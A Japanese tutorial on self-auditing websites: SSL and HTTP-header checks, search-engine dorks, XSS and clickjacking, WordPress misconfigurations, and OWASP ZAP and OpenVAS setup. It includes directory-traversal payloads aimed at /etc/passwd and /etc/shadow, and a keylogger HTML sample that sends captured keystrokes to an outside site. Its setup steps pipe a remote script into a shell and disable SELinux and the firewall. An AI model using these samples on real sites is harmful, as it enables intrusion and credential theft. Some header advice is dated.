SEが気づきにくいWebサイトの脆弱性の見つけ方

Webといえば、httpですね。httpを使用して、世界とつながるWebページのリンクシステムが作られているわけですが、そのhttpに使われるTCP/IPという通信には、発信元アドレス偽装やパケットの暗号化機能が標準実装されていないなど脆弱性があります。TCP/IPを使用する場合は標準でこれらの対策が必要です。SSLを使用したHTTPSの通信でWebページを表示する必要があります。ここではHTTPS（SSL）の設定不備の見つけ方についてまとめていきます。

HTTPS（SSL）の脆弱性の見つけ方①－https://になっている（SSL使用しているか）

ホームページで使用しているURLがブラウザのアドレスバーでhttp://ではなく、https://で始まっていますでしょうか？

脆弱性の見つけ方①－そもそもhttps://となっているか（SSL使用しているか）

よくブログサイトのようなWebページにはSSLは必要ない、お問合せフォームなど個人情報や機密情報を送信するページのみSSLで暗号化すればよいと考えられがちですが、パケット改ざんの脆弱性がありますのでどのページも考慮が必要です。

HTTPS（SSL）の脆弱性の見つけ方②－SSL LABSでA+評価になっているか

SSLが設定されているからといって安心はできません。SSLの設定をしっかりと行わないと送信データの盗聴と改ざんが防げません。残念ながらHTTPSサイト（SSL導入ホームページ）の多くがSSLの設定に不備がある状況です。導入だけでチェックが不十分なケースが多いようです。

SSLサーバー証明書ベンダーなどが提供するオンライサイトのチェックツールを利用することで簡単にSSLの設定不備がチェックできます。ここではSSL LABSを利用してチェックしていきます。

「https://www.ssllabs.com/ssltest/」にアクセスして、URLをフォームに入力するだけでチェックが行えます。

HTTPS（SSL）の脆弱性の見つけ方②－SSL LABSでA+評価になっているか

A+評価になればOKです。

SSL LABSでA+評価になる例

以下のようにもしA+にならない場合は脆弱性がありますので対応します。

SSL LABSでA+評価ならない例

SSL 3.0 の脆弱性対策について(CVE-2014-3566)

SSL 3.0 の脆弱性対策について(CVE-2014-3566)についてまとめています。

脆弱性の意味

SSLプロトコルは、バージョン2.0から始まり、SSL3.0、名称が変わってTLS1.0、TLS1.1、TLS1.2と続きます。SSL3.0までは、通信の一部が第三者に解読可能な脆弱性が存在確認されています。SSL3.0以下が使用できる場合、通信の一部が第三者に漏えいする可能性があります。

脆弱性の対策

サーバもしくはクライアントのどちらか一方で、SSL 3.0 を無効化することで対策できます。たとえば、ApacheでSSL3.0以下のバージョンを無効にする設定は以下になります。

httpd.confまたはインクルードしている設定ファイルに以下を追記します。設定反映にはhttpdの再起動が必要です。

SSLProtocol all -SSLv2 -SSLv3

OpenSSLの脆弱性とは

OpenSSLは、SSL/TLSの暗号化に使用するライブラリです。OpenSSLの脆弱性は、このOpenSSLに不具合や機能不良があることを言います。

たとえば、SSL Labsで「This server is vulnerable to the OpenSSL Padding Oracle vulnerability (CVE-2016-2107) and insecure. Grade set to F.」と表示された場合の説明を以下に記載します。

脆弱性の意味

OpenSSLの1.0.1t、1.0.2hより前のバージョンでAES-NI CBC MACチェックでパディングオラクル攻撃が可能という脆弱性です。この脆弱性は、CVE-2013-0169(Lucky 13パディング)の修正の不具合から生じているとのことです。

参考）http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2107

脆弱性の対策

CentOS7もしくはOpenSSLのアップデートを行ってOpenSSLをバージョンアップします。

yumでアップデート

# yum -y update

その他のHTTPS（SSL）の脆弱性の対策

対策についての参考は以下にまとめています。

CentOS7のapacheでSSL評価A+にする設定手順

CentOS7のapacheのSSLの設定をSSL LabsでA+評価にする設定手順をまとめています。

2.2. HTTPヘッダの脆弱性の見つけ方

WebサイトはHTTPというルールで送信されたデータがブラウザで表示されます。HTTPのデータはヘッダとボディというような構成で、HTTPヘッダの後にHTMLなどのコードが送信されてきます。

HTTPヘッダにはいくつかの脆弱性対策のパラメータが存在します。逆に言うとHTTPヘッダを見るだけでそれらの脆弱性の対策が考慮されていないことがわかります。

HTTPヘッダの設定不備の脆弱性の見つけ方

HTTPヘッダの確認は特に特殊なツールは必要ありません。ChromeやFirefox、IEといったブラウザに標準である開発者ツール、あるいはでデベロッパーツールで確認できます。以下では、HTTPヘッダの設定不備の脆弱性を見つける観点をまとめます。

01：レスポンンスヘッダのserverパラメータ

レスポンンスヘッダのserverパラメータの意味と脆弱性、見つけ方です。

パラメータの意味

Serverパラメータには、Webサーバがソフトウェアのバージョン情報を表示します。

脆弱性の意味

ソフトウェアの種類やバージョン情報をもとにソフトウェアの仕様や公開されているバグ情報など攻撃の方法が絞り込めるため、ソフトウェアのバージョン情報の詳細が表示される場合、リスクが増します。

脆弱性の見つけ方

Apacheなどソフトウェア名を表示しないようにできないので、最小限の情報のみ表示している、ソフトウェアのバージョン情報が表示されていないことを確認します。例）Server: Apache⇒OK、Server: Apache/2.2.31⇒NG

02：レスポンンスヘッダのX-Powered-Byパラメータ

レスポンンスヘッダのX-Powered-Byパラメータの意味と脆弱性、見つけ方です。

パラメータの意味

X-Powered-Byパラメータには、PHPなど実装言語のバージョン情報を表示します。

脆弱性の意味

PHPなどバージョン情報をもとにPHPの仕様や公開されているバグ情報など攻撃の方法が絞り込めるため、PHPを使っていること、PHPのバージョン情報が表示される場合、リスクが増します。

脆弱性の見つけ方

この表示は表示できないようにすることができますので、表示されていないことを確認します。

03：レスポンンスヘッダのX-Frame-Optionsパラメータ

レスポンンスヘッダのX-Frame-Optionsパラメータの意味と脆弱性、見つけ方です。

パラメータの意味

X-Frame-Optionsパラメータは、HTMLないでFrameタグの機能の制御を行います。

脆弱性の意味

クリックジャッキング攻撃はFrameタグの機能を利用します。Frameタグが有効な場合、クリックジャッキング攻撃を受けるリスクが増します。X-Frame-Optionsが設定されていない場合、クリックジャッキング攻撃が行えると判断されます。

脆弱性の見つけ方

X-Frame-Optionsが表示され、DENY（全く許可しない）、SAMEORIGIN（自身と生成元が同じフレーム内に限り許可）などクリックジャッキング攻撃を想定しているか確認します。

04：レスポンンスヘッダのX-XSS-Protectionパラメータ

レスポンンスヘッダのX-XSS-Protectionパラメータの意味と脆弱性、見つけ方です。

パラメータの意味

X-XSS-Protectionパラメータは、ブラウザのクロスサイトスクリプティングのフィルタ機能を有効／無効にします。なお、古いブラウザなどはこの機能に対応していない場合があります。

脆弱性の意味

X-XSS-Protectionが設定されていない場合、クロスサイトスクリプティングに対する考慮が薄い、あるいはHTTPのGETやPOSTなどのパラメータに対するサニタイズ処理が不足している場合、高確率でクロスサイトスクリプティング攻撃が行えると判断され、クロスサイトスクリプティング攻撃が狙われるリスクが増します。

脆弱性の見つけ方

「X-XSS-Protection: 1; mode=block」が表示さることを確認します。「0:XSSフィルタを無効にする。 1:XSSフィルタを有効にする。」です。

04：レスポンンスヘッダのX-Content-Type-Optionsパラメータ

レスポンンスヘッダのX-Content-Type-Optionsパラメータの意味と脆弱性、見つけ方です。

パラメータの意味

ブラウザによっては、コンテンツの内容からファイルを推測する仕様となっています。X-Content-Type-Optionsパラメータに、nosniffとしてすると、このファイルタイプの推測が動作しなくできます。

脆弱性の意味

ブラウザのコンテンツの内容からファイルを推測する仕様を悪用したコンテンツ内容を詐称し、クロスサイトスクリプティングなどの攻撃が行われるリスクが増します。

脆弱性の見つけ方

「X-Content-Type-Options: nosniff」が表示されることを確認します。

06：レスポンンスヘッダのX-Download-Optionsパラメータ

レスポンンスヘッダのX-Download-Optionsパラメータの意味と脆弱性、見つけ方です。

パラメータの意味

X-Download-Optionsでファイルダウンロード時のダイアログを制御します。noopenとすることでIE8以降ではユーザーはファイルを直接開くことができないようになります。

脆弱性の意味

X-Download-Optionsが設定されていない場合、マルウェアの実行など対策観点がないと判断されます。利用者がマルウェア感染させられるリスクが増します。

脆弱性の見つけ方

「X-Download-Options: noopen」が表示されることを確認します。

07：レスポンンスヘッダのSet-Cookieパラメータの「secure」属性

レスポンンスヘッダのSet-Cookieパラメータの「secure」属性の意味と脆弱性、見つけ方です。

パラメータの意味

レスポンンスヘッダのSet-Cookieパラメータの「secure」属性を設定することでhttpじゃなくてhttpsのときのみCookieを許可する設定が行えます。

脆弱性の意味

レスポンンスヘッダのSet-Cookieパラメータの「secure」属性が設定されていない場合、冒頭のHTTPの標準の脆弱性であるパケット盗聴、セッションハイジャックのリスクが増します。

脆弱性の見つけ方

レスポンンスヘッダのSet-Cookieパラメータがあるページで「secure」属性が表示されることを確認します。

08：レスポンンスヘッダのSet-Cookieパラメータの「HttpOnly」属性

レスポンンスヘッダのSet-Cookieパラメータの「HttpOnly」属性の意味と脆弱性、見つけ方です。

パラメータの意味

レスポンンスヘッダのSet-Cookieパラメータの「HttpOnly」属性を設定することでCookieをJavaScriptからアクセスできないようにできます。

脆弱性の意味

レスポンンスヘッダのSet-Cookieパラメータの「HttpOnly」属性が設定されていない場合、クロスサイトスクリプティング攻撃などを利用してCookieを採取され、セッションハイジャックのリスクが増します。

脆弱性の見つけ方

レスポンンスヘッダのSet-Cookieパラメータがあるページで「HttpOnly」属性が表示されることを確認します。

09：レスポンンスヘッダのStrict-Transport-Securityパラメータ

レスポンンスヘッダのStrict-Transport-Securityパラメータの意味と脆弱性、見つけ方です。

パラメータの意味

レスポンンスヘッダのStrict-Transport-Securityを設定することで指定されたサイトが常にHTTPSを使ってアクセスするようにブラウザに指示できます。max-ageは有効にする期間、includeSubDomainsでサブドメインにもルールを適用します。

脆弱性の意味

レスポンンスヘッダのStrict-Transport-Securityを設定していないということは、HTTPプロトコルの脆弱性やSSLの知識が薄い、httpsへリダイレクト処理している間など、httpで表示できるかもしれないと判断されます。

脆弱性の見つけ方

レスポンンスヘッダのStrict-Transport-Securityパラメータが表示されることを確認します。

その他のパラメータ

「Access-Control-Allow-Origin: *」でSOPのバイパス攻撃の考慮などがありますが、設定すると考慮が発生するパラメータで気づきにくくはないので省略します。

2.3. 検索エンジンハッキング手法による脆弱性の見つけ方

ここでは、検索エンジンハッキング手法による脆弱性の見つけ方をまとめていきます。これにより、例えば、wwwの本番環境はガチガチに固めているけれども、同じWeb公開されている、いつ乗っ取られるかわからない、サブドメインのテスト環境が見つかるといった、頭かくして尻隠さずみたいになっているケースに気づくことがあります。

検索エンジンハッキング手法とは

検索エンジンハッキング手法とは、検索エンジンで検索した情報を用いてWebサイトの脆弱性を見つける手法、検索エンジンで得られた情報をヒントにハッキングする手法です。

検索エンジンの検索オプション

以下は検索エンジンには検索オプションがたくさんあります。検索エンジンハッキング手法ではこれらのオプションも駆使して、検索エンジンという膨大なDBからWebサイトを攻略する情報を収集します。アルカイダのマニュアルにもあるようです。

intitle:　ページのタイトルに指定文字が含むページを指定
site:　特定のドメインのみを対象に指定
link:　指定ページのリンクページのみを対象に指定
cache:　検索エンジンにキャッシュされているページを表示
filetype:　ファイルの拡張子を指定し、特定の拡張子のみを検索対象として指定
filter:　指定記事を除いて検索
intext:　本文に指定文字列が含むものを検索
inbody:　URLに指定文字列が含むものを検索

「site:」による絞り込みの例

「site:＜ドメイン名＞」というキーワードで検索すると該当ドメインでインデックスされているページが検索できます。

「site:＜ドメイン名＞＜キーワード＞」というキーワードで検索すると該当ドメインのサイトに絞り込んだ検索結果が得られます。

検索例）ディレクトリリスティングされたIndex ofページの脆弱性の見つけ方

ディレクトリリスティングされたIndex ofページの脆弱性の見つけ方をまとめています。

脆弱性の意味

ディレクトリリスティングとは、Webサーバの機能でindex.htmlなどが置かれていない場合にそのディレクトリ内のファイル一覧を表示する機能です。この一覧ページのタイトルが「Index of ＜パス＞」で、俗にIndex ofページといわれます。この機能を意図的に使用しているケースは少なく、意図せず一時的においているデータベースのダンプファイルなどがどこにあるかわかる状態になっていることがあります。

脆弱性の見つけ方

「site:＜ドメイン名＞ Index of」と検索します。検索量が多い場合は「site:＜ドメイン名＞ Index of /admin」のようにパスを含めて検索します。

検索例）管理ログインページが公開状態となっている脆弱性の見つけ方

管理ログインページが公開状態となっている脆弱性の見つけ方をまとめています。

脆弱性の意味

脆弱性とは言いにくいですが、もしIDとパスワードが一致してログインされてしまった場合、サーバ内部の操作が行われてしまい致命的です。管理ログインは通常利用者を限定して表示した方が安心です。管理ログインが検索されてしまうとブルートフォースアタックや辞書攻撃の的になりやすくなります。

脆弱性の見つけ方

「site:＜ドメイン名＞ login」、「site:＜ドメイン名＞ admin」、「site:＜ドメイン名＞ログイン」、「site:＜ドメイン名＞管理画面」、「site:＜ドメイン名＞ signin」、「site:＜ドメイン名＞ auth」、「site:＜ドメイン名＞認証」などのように管理ログインのURLやタイトルに含まれる文字列を含めて検索します。

検索例）テスト関連のページが公開されている脆弱性の見つけ方

テスト関連のページが公開されている脆弱性の見つけ方をまとめています。

脆弱性の意味

テスト環境は通常本番環境よりもセキュリティ面が低い、低いと判断されます。攻撃者はセキュリティが硬いところではなく、甘いところから攻めていきますので、本番環境よりも優先的に攻められやすくなります。

脆弱性の見つけ方

「site:＜ドメイン名＞ test」、「site:＜ドメイン名＞ sample」、「site:＜ドメイン名＞テスト」、「site:＜ドメイン名＞サンプル」、「site:＜ドメイン名＞ stage」などのようにテストや検証関連のURLやタイトルに含まれる文字列を含めて検索します。

検索例）SQLインジェクションの脆弱性の見つけ方

SQLインジェクションの脆弱性の見つけ方をまとめています。

脆弱性の意味

SQLインジェクションは、SQLを悪用して不正にデータベースを操作し、情報を抜き取る、書き換える、削除するといったことを行う攻撃です。検索エンジンにPHPなどのSQLのエラー表示してしまっている動的ページが登録されていることがあります。SQLエラーが表示される場合、それを起こすパラメータを工夫することにより、SQLインジェクションにつながるため、SQLエラーが発生するという事象でSQLインジェクションの脆弱性ありと判断されます。このようなページが表示される場合は狙われる対象になり、リスクが高くなります。

脆弱性の見つけ方

「site:＜ドメイン名＞ sql」、「site:＜ドメイン名＞ notice」、「site:＜ドメイン名＞ error」などのようにSQL関連の操作に失敗した際に出力されるメッセージに含まれる文字列を含めて検索します。

検索例）ディレクトリトラバーサルの脆弱性の見つけ方

検索エンジンを利用したディレクトリトラバーサルの脆弱性の見つけ方をまとめています。

脆弱性の意味

ディレクトリトラバーサルとは、公開されていないファイルにアクセスする攻撃手法のことを言います。URLのパラメータ（GETパラメータ）などに、fileとかpageなどのようなパラメータにパスを指定して実行しているページの不備を利用して行われます。ですので検索エンジンでfileやpageといったパスを示すURLを露出させているページは狙われる、リスクが高くなります。

脆弱性の見つけ方

「site:＜ドメイン名＞ inurl:”file”」、「site:＜ドメイン名＞ inurl:”page”」、「site:＜ドメイン名＞ inurl:”name”」、「site:＜ドメイン名＞ inurl:”path”」などのようにパスを指定するパラメータを検索します。

そして、パラメータに「../../../../../../../../../etc/passwd」や「../../../../../../../../../etc/shadow」のように「../」や「..\」など、上の階層のディレクトリやフォルダを意味する文字列を用いることにより、公開を意図しないファイルに不正にアクセスできないかチェックします。

その他の検索例

「https://www.exploit-db.com/google-hacking-database/」などの情報サイトを見るといろいろな検索例が掲載されています。

2.4. ブラウザハッキング手法による脆弱性の見つけ方

上記までに通信経路およびWeb上に流出した脆弱性情報の見つけ方について見てきました。今度はクライアント側を狙った攻撃を許してしまう脆弱性の見つけ方を見ていきます。ここでは、ブラウザを攻略してクライアントのPCやスマホを制御してしまうブラウザハッキングを許してしまう脆弱性の見つけ方についてみていきます。

ブラウザハッキングの流れ

ブラウザハッキングは以下の流れで行われます。

制御の開始　…XSSが行えるなどの脆弱性を見つけコードを実行させる仕組みを作る
制御の確保　…Frameタグの利用や通信のハイジャックなど長時間実行できる仕組みを作る
攻撃　…ユーザ、ブラウザ、拡張機能、プラグイン、Webアプリ、ネットワークなどに対して攻撃する

XSSの脆弱性の見つけ方

ここでは、ユーザに悪意のあるコードを実行させる仕組み作りに利用されるXSS（クロスサイトスクリプティング）の脆弱性の見つけ方についてまとめていきます。

XSS（クロスサイトスクリプティング）の脆弱性とは

XSS（クロスサイトスクリプティング）の脆弱性とは、入力フォームや検索ボックスのオプションなどHTTPのGETやPOSTパラメータにエクスプロイトと呼ばれるコードを入力して、サニタイズ処理の不備などをついて、Webページを改ざんし、ブラウザ上で、任意のスクリプトを実行したり、Cookieの値を入手することが可能となる脆弱性のことを言います。

XSS検出用のエクスプロイト

仕組みなどは後回しで実際に実行して見ればわかるのではないかと思います。実施内容は以下のチェックシートが参考になります。

元祖ロバート・ハンセンのXSSチェックシート

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
HTML5のセキュリティチェックシート

http://html5sec.org/

また、エンコードしたり、組み合わせたり独自にエクスプロイトを開発する場合に役立つツールに以下のようなツールがあります。

Charset Encoder

http://yehg.net/encoding
Hackvertor

https://hackvertor.co.uk/public

クリックジャッキングの脆弱性の見つけ方

ここでは、XSSと同様にユーザに悪意のあるコードを実行させる仕組み作りに利用されるクリックジャッキングの脆弱性の見つけ方についてまとめていきます。

クリックジャッキングの脆弱性とは

クリックジャッキングの脆弱性とは、Webサイトのコンテンツ上に標的サイトのコンテンツを重ねて配置することにより、利用者を視覚的にだまして不正な操作を実行させる攻撃を許す脆弱性のことです。攻撃にはFrameタグが使用されます。HTTPヘッダにX-Frame-Optionsが指定されていない場合に実行できてしまいます。

クリックジャッキング検出用のサンプル

HTTPヘッダにX-Frame-Optionsが指定されているかどうかでわかりますが、以下のようなHTMLを作成して実行すると実際にわかりやすいです。

サンプルは＜ターゲットページのURL＞のところを書き換えて、HTMLファイルとして保存すれば実行できます。実行すると、アンケートに答えてくださいというポップアップが表示され、OKを押すとイー・アルゴリズムのページに強制遷移します。

実行した際に、ターゲットページが下に真っ白じゃなくて、表示されたらクリックジャッキングの脆弱性ありということになります。

<html>
<head>
<meta charset="utf-8">
<title>フィッシングページ</title>
</head>
<frameset
cols="100%,*"
onmouseover="
alert('いつもありがとうございます。初めにアンケートへお答えください。');
location.href='https://e-algorithm.xyz/';
">
<frame src="＜ターゲットページのURL＞"></frame>
</frameset>
</html>

もう１つ。今度はIEで実行できるコードです。キーボードの入力内容をステータスバーに表示し、マウスのカーソルがページから離れた際にキーボードの入力内容をパラメータに設定して、イー・アルゴリズムのページに強制遷移します。

<html>
<head>
<meta charset="utf-8">
<title>キーボード入力キャプチャ</title>
<script>
var keylog = '';
document.onkeypress = function() {
	window.status = keylog += String.fromCharCode(window.event.keyCode);
}
function send() {
	location.href='https://e-algorithm.xyz/?capture=' + window.status;
}
</script>
</head>
<frameset onload="this.focus();" onBlur="this.focus();" onMouseOut="send();" cols="100%,*">
<frame src="＜ターゲットページのURL＞">
</frameset>
</html>

2.5. ハッカーのための情報サイト？活用による脆弱性の見つけ方

脆弱性を見つけるうえでとても便利なサイトがありますので、いくつかメモしておきます。

ホスティング情報やwhois、同じサーバに設置しているドメインなど

以下のサイトは、ホスティング情報やwhois、同じサーバに設置しているドメインなど、外から見てまずくないか、判断する情報がまとめて表示されます。公開したくない管理システムやテストサイトのドメインがばれていないかなど確認してみるといいかもです。

https://www.aguse.jp/

あとブラックリスト判定結果もバラクーダなど有名なブラックリストの情報がまとめて表示されます。もし1つでも判定がNGの場合、パスワード設定に不備がありメールアカウントが乗っ取られている可能性がある、など早急に対応しないとです。

IPが腐り、ドメインが腐る、何てことが起きたら、周りに被害を与えているだけではなく、社内メールが使えなくなる、営業が行えなくなるなど目も当てられません。もし次の土曜日のGoogleボットのクロールでGoogle八部にされたら、GoogleとYahooからの流入が見込めなくなります。

もしブラックリストにのっていたら、この場合は、1分1秒を争う事態なので、フォレンジック対応を行う専門会社にお願いした方がいいかもしれません。セキュリティだけでなく、SEOなどメディア系も強いところに問い合わせてみるといいのではとおもいます。

開放ポートやOS、ミドルウェアなどサーバ情報の詳細

以下は、勝手にクロールしてスキャン情報を公開しているサイトのようです。迷惑だなとは思いますが、例えば、どのポートやソフトウェアの情報が外から見えるのか、FTPのanonymousユーザが使えて誰でもFTPつなげる設定ミスとか、URLを打ち込むだけで、気づけるので利用価値が高いのではと思います。

https://censys.io/
https://www.shodan.io/

ソフトウェアなどの脆弱性情報とその攻撃のやり方

以下は、ソフトウェアなどの脆弱性情報とその攻撃のやり方（エクスプロイト）が公開されています。どのような脆弱性があるのか、実際に行えるのか確認できるエクスプロイトが公開されています。本当に怖いなと思いますが、脆弱性を見つけるために必要な学習コストをグーンと下げてくれます。

https://www.exploit-db.com/

アカウント情報の漏えいチェック

SNSと連携することも多いと思います。そのアカウント情報が洩れていたら危ないですよね。

https://www.leakedsource.com/blog/twitter/

3. Webサイトの脆弱性の見つけ方（WordPress編）

世界で最もシェアが多いといわれるCMSツールであるWordPressで構築されたWebサイトの脆弱性の見つけ方についてまとめていきます。

3.1. WordPressの脆弱性とは

まずは、WordPressの脆弱性とは何か、簡単に整理しておきたいと思います。

WordPressとは

WordPressとは、読み方は「ワードプレス」と読みますが、オープンソースのブログ用のCMSです。PHPで開発されていて、投稿データなどデータをMySQLに保存します。世界で最もシェアが多いといわれています。

WordPressの脆弱性

WordPressの脆弱性には大きく２つあります。

1つは、PHPのエラーを表示してしまったり、ログイン画面やユーザ情報を表示してしまったりといったWordPressの構築ミスが起因する脆弱性です。

2つ目は、WordPress本体やプラグイン、テーマなどプログラム自体に潜む脆弱性です。

以下では、これら2つのWordPressの脆弱性の見つけ方についてまとめていきます。

3.2. WordPressの構築ミスによる脆弱性の見つけ方

ここでは、WordPressの構築ミスによる脆弱性の見つけ方についてまとめていきます。

WordPressの構築ミスによる脆弱性01）PHPエラー表示によるパス情報の露出

WordPressは、世界で最も利用されているブログツールです。配置場所がわかると、ほぼすべてのファイルのパスがわかってしまいます。WordPressのURLは、WordPressの機能で変更できますが、PHPエラーが表示される場合、サーバの物理パスが表示されてしまいます。

例えば、多くの配布されているテーマは「http://＜ドメイン＞/wp-content/themes/＜テーマ＞/」のURLでアクセスすると「HTTP ERROR 500」となります。

これを実行した場合に、「PHP Fatal error: Call to undefined function get_header() in /var/www/***/public/blog/wp-content/themes/thema1/index.php on line 1」のようなエラーメッセージが表示される場合は対策が必要です。

PHPエラー表示の設定がONの状態、つまりテスト環境用の脆弱な設定となっている状態です。PHPの設定を「display_errors = Off」に設定されていない状態です。

WordPressの構築ミスによる脆弱性02）管理ログイン画面の表示

WordPressは、管理画面が同じ媒体上にあります。その管理ログインページが表示される場合、IDとパスワードの認証情報が一致してしまった場合、ファイルのアップロードや編集が行える機能を提供してしまうことになります。IDとパスワードはブルートフォースによる総当たり攻撃などによる認証突破などそれだけでは不安な場合があります。脆弱性とまでは言いにくいかもしれませんが、ログイン画面は任意のユーザからアクセスできないようにしておいた方が安心です。

「＜WordPressの一番上の場所を示すURL＞/admin」あるいは「＜WordPressの一番上の場所を示すURL＞/wp-login.php」でログイン画面が表示される場合は、wp-adminディレクトリのIP制限やBASIC認証などしておくと安心度が増します。

WordPressの構築ミスによる脆弱性03）管理ログインユーザ名の表示

「＜WordPressの一番上の場所を示すURL＞/?author=＜数字＞」でアクセスした際にURLやページソースにユーザ名が表示される場合は適切な設定がされていないです。ユーザ名がわかるとあとはパスワードだけが命になります。しかし、ユーザのパスワードをユーザ名と同じに設定するユーザがいたり、簡単なパスワードが設定されることがありますのでユーザ名が表示されるだけで危険度が上がります。

WordPressの構築ミスによる脆弱性04）ドメインの一部や組織名、adminユーザの使用

WordPressは、ログイン画面のユーザとIDの入力の際、間違った場合のメッセージでユーザが存在するか
しないかがわかるようになっています。ユーザ名にadmin、パスワードに適当なパスワードを入力した際に「adminユーザのパスワードが違います」のようにメッセージが表示される場合、adminユーザが存在することがわかります。同様にドメインの一部や会社名などが推測しやすいユーザ名だとログイン画面を使用することでユーザの存在有無が判別できてしまいますのでこのようなユーザ名を使用するとそれが脆弱性となりえます。

WordPressの構築ミスによる脆弱性05）WordPressを最新にしていない

WordPressの改修履歴やJVNやNVDなど、脆弱性情報が公開されていますので、WordPressを最新にしていないとその情報をもとに脆弱性がつかれてしまいます。バージョン情報を隠すこともできますが、隠すことで最新ではないと判断されかねません。新しく見つかった脆弱性から攻撃を受ければ終わりです。ゼロデイ攻撃もありますが、最新状態にしないとダメです。

以下では、WordPressを最新状態にしていない場合に見つかるWordPressの脆弱性の例をまとめています。

3.3. WordPress本体・プラグインの脆弱性の見つけ方

WordPress自体の脆弱性は、JVNやNVDなどの脆弱性DBで検索できます。該当バージョンの脆弱性が検索できます。

ここでは、WordPress本体など公開されている旧バージョンのプログラム自体に潜む脆弱性の見つけ方として、WordPressを最新状態にしていない場合に行われるWordPressの脆弱性をついた攻撃の例を見てみます。

WordPress 4.5 未満（CVE-2016-6634）のクロスサイトスクリプティングの脆弱性

WordPress のネットワーク設定ページにクロスサイトスクリプティングが行える脆弱性があります。

参考）http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-004315.html

管理画面にログインすると行われる攻撃ですが、URLでアクセスした場合、WordPressの動作の仕様で、まず管理ログイン画面が表示されます。そしてID・パスワードを入力してログインしたら実行される流れになります。

たとえば、infoメールアドレスなどにここが見えてしまって大丈夫ですかみたいなメールを内部宛に送って、メーラによっては縮小して「＜URL＞/wp-admin/…」表示になったりしますので、気づかず内部の人がリンクにアクセスしてWordPressにログインしたら実行されてしまうといった攻撃が想像できます。内部がやられるので、社内のネットワーク侵入など致命的な被害につながる恐れがあります。

4. Webサイトの脆弱性の見つけ方（スキャンツール編）

基礎編の知識をベースに導入式のツールを利用して、効率的かつ網羅的に脆弱性を検出する方法についてまとめていきます。

4.1. OWASP ZAPによるWebサイトの脆弱性の見つけ方

続いて、ツールを使用してWebサイトの脆弱性を見つけていきます。ここではOWASP ZAPというツールを使用します。

OWASP ZAPとは

OWASP ZAPとは、OWASPが提供している、Webサイトの脆弱性を診断するためのぺネトレーションテストツールです。
オープンソースで、無料で使用できます。デフォルトの簡易スキャンならURLを入力するだけで脆弱性がスキャンできます。

OWASP ZAPのデフォルトの検査項目

OWASP ZAPのデフォルトのスキャン項目は以下です。

パス　トラバーサル　（別名：ディレクトリトラバーサルあるいはパストラバーサル）
リモート　ファイル　インクルージョン
Server Side Include（SSI）
クロスサイト・スクリプティング（反射型）
クロスサイト・スクリプティング（持続型）
SQLインジェクション
Server Side Code Injection
リモート　OSコマンドインジェクション
ディレクトリブラウジング
外部リダイレクト
バッファ　オーバーフロー
Format String Error
CRLFインジェクション
パラメータ改ざん
クロスサイト・スクリプティング（持続型）- Prime
クロスサイト・スクリプティング（持続型）- スパイダー
Script Active Scan Rules

OWASP ZAPのダウンロードとインストール

OWASP ZAPは、「https://github.com/zaproxy/zaproxy/wiki/Downloads」よりダウンロードできます。

OWASP ZAPのダウンロード

Javaでできているので、使用するにはJavaの実行環境をインストールしておく必要があります。Javaの実行環境は「http://www.java.com/ja/download/」よりダウンロードできます。インストーラの誘導にしたがってインストールします。ZAPのインストールもインストーラの誘導にしたがってインストールします。

OWASP ZAPの実行（簡易スキャン）

デスクトップにできたアイコンをクリックするとZAPが立ち上がります。

OWASP ZAPの実行（簡易スキャン）

「攻撃対象URL」にURLを入力して、「攻撃」ボタンを押せばスキャンが開始されます。

「攻撃対象URL」にURLを入力して、「攻撃」ボタンを押せばスキャンが開始

4.2. OpenVASによるWebサイト（サーバ）の脆弱性の見つけ方

ZAPは、Webサイトのコンテンツ側を中心にチェックするツールでしたが、今度はサーバ側中心にチェックするツールとして、OpenVASについてまとめていきます。

OpenVASとは

OpenVASは、昔オープンソースとして開発されていたNessusから派生したセキュリティ診断ツールです。ポートスキャンや擬似的なアクセスなどのテストを行って、対象サーバーの脆弱性を調査するツールです。ツールが提供されるだけでなく、脆弱性データベースは日々更新されています。

なお、ライセンスはGNU GPLで、OpenVASは、Open Vulnerability Assessment Systemの略です。

OpenVASのインストール方法

OpenVASのインストールは、ZAPと比べて少々ハードルが高くなっています。Linuxなどある程度の知識が必要になります。

以下では、ローカルPC内のVMにあるCentOS7にOpenVAS8をインストールする手順になります。

古いDBの削除（ある場合のみ）

初めに古いDBがあれば削除します。

# cd  /var/lib/openvas/mgr/
# ls
tasks.db  tasks.db-mjF22D039AB
# rm -Rf tasks.db  tasks.db-mjF22D039AB

SELinuxを無効化

インストールの前にSELinuxを無効化しておきます。

# vim /etc/selinux/config
------------------------------------------------------
# 以下をdisabledに変更
SELINUX=disabled
------------------------------------------------------
# reboot

ファイアウォール停止

ファイアウォール停止します。

# systemctl stop firewalld

Atomicorpリポジトリをyumに追加

Atomicorpリポジトリをyumに追加します。以下のコマンドで追加することができます。

# yum install wget
# wget -q -O - http://www.atomicorp.com/installers/atomic | sh

yumでインストール

yumでインストールします。

# yum install -y openvas

以下の依存エラーが出た場合は、「yum clean all; yum update」で解決できました。

エラー: パッケージ: 2:nmap-6.47-8.el6.art.x86_64 (atomic)
             要求: libpcre.so.0()(64bit)

インストールが完了したら、各種設定を行っていきます。

Redisの設定

Redisの設定を行います。Redis自体はOpenVASのyum install時に一緒にインストールされます。

# vim /etc/redis.conf
------------------------------------------------------
# 下記２行のコメントアウトを解除
unixsocket /tmp/redis.sock
unixsocketperm 700
------------------------------------------------------

Redisを再起動します。自動起動も有効にしておきます。

# systemctl enable redis
# systemctl restart redis

setupスクリプトの実行

setupスクリプトにパスが通っているので実行します。bzip2が必要なので事前にインストールしておきます。

# yum install bzip2
# openvas-setup

何かを聞かれたら基本的にはそのままEnterでOKです。 NVTのダウンロード等が行われるのでかなり時間がかかります。

スクリプトの最後で以下のようにWebコンソールの管理者ユーザの作成を求められるので、ユーザ名とパスワードを入力します。

Step 3: Choose the GSAD admin users password.
The admin user is used to configure accounts,
Update NVT's manually, and manage roles.

Enter administrator username [Default: admin] :＜ユーザ名＞
Enter Administrator Password: ＜パスワード＞
Verify Administrator Password: ＜パスワード＞

インストールチェック

配布されているチェック用のスクリプトを実行して、セットアップが成功したかをチェックします。

リポジトリからインストールしたopenvas-check-setupにパスが通っていますが、ダウンロードしたものの方が正しい結果が得られるようです。

# wget https://svn.wald.intevation.org/svn/openvas/trunk/tools/openvas-check-setup
# sh openvas-check-setup

以下のように出ればセットアップに成功しています。

It seems like your OpenVAS-8 installation is OK.

エラーが出た場合はFIX: と表示されている部分の指示に従って解決していきます。

firewwallの設定

